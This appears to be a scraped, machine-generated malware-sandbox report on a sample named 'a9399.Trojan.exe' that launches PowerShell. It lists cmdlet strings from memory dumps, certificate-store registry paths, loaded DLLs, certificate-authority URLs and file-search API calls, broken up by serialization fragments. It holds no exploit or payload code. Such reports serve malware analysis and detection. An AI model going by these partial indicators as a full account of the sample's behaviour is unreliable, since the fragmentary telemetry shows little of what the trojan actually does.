(Indicator: "Format-Custom"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp")43:T8c4,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")44:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")45:Ta79,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp")46:T13bf,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",12,"Microsoft.VisualBasic Version=10.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a",03,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",02,"netstandard Version=2.0.0.0 Culture=neutral PublicKeyToken=cc7b13ffcd2ddd51",02,"System.Windows.Forms Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089",02,"System.Runtime.InteropServices.RuntimeInformation Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a",03,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",02,"System.Drawing Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a",0" [Source: a9399.Trojan.exe.log] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"3,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"3,"System.Xml Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"3,"System.Configuration Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00001040-00000C25-38021099] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00001040-00000C25-38089025] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00001040-00000C25-38522661] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00001040-00000C25-38687242] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00001040-00000C25-38795281] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001040-00000C25-38998222] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001040-00000C25-39059277] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\ntdll.dll" [Source: 00000000-00001040-00000C25-39294782] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00003364-00000C25-41090026] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003364-00000C25-41762955] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003364-00000C25-41857538] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003364-00000C25-41906396] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003364-00000C25-41965194] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003364-00000C25-41987533] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00003364-00000C25-42049569] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003364-00000C25-42454515] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003364-00000C25-42645735] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00003364-00000C25-42726486] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00003364-00000C25-42833800] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003364-00000C25-43076435]47:T704,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp")48:T1e76,Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003364.00000000.67158.0326F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003364.00000000.67158.0326F000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003364.00000000.67158.0326F000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003364.00000000.67158.0326F000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003364.00000000.67158.033B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003364.00000000.67158.033B0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcyr;ion1\puthawus07hawtthawte," - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0digicert" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;cxsxxjxs_nh/4pdb" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003364.00000000.67158.07840000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003364.00000000.67158.6F591000.00000020.mdmp")49:Ta9c,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp")4a:T9ae,"a9399.Trojan.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\* (UID: 00000000-00001040) "a9399.Trojan.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001040) "a9399.Trojan.exe" called "FindNextFileW" with parameter 31fae3290fad30c31c98651462d22724 (UID: 00000000-00001040) "a9399.Trojan.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\* (UID: 00000000-00001040) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003364) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00003364) "powershell.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00003364)4b:T5ee,Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp")4c:Tc8f,Found string "Get-Command" (Indicator: "Get-Command"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Help" (Indicator: "Get-Help"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-FormatData" (Indicator: "Get-FormatData"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Module" (Indicator: "Get-Module"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Variable" (Indicator: "Get-Variable"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-PSBreakpoint" (Indicator: "Get-PSBreakpoint"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Content $file | more.com" (Indicator: "Get-Content"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Verb" (Indicator: "Get-Verb"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "$null = Read-Host '" (Indicator: "Read-Host"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string ".FORWARDHELPTARGETNAME Get-Help" (Indicator: "Get-Help"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Help @PSBoundParameters | more" (Indicator: "Get-Help"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Get-Member -type Properties -static |" (Indicator: "Get-Member"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "$null = Read-Host 'Press Enter to continue...'" (Indicator: "Read-Host"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Alias" (Indicator: "Get-Alias"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Content" (Indicator: "Get-Content"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-ChildItem" (Indicator: "Get-ChildItem"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-PSDrive" (Indicator: "Get-PSDrive"; 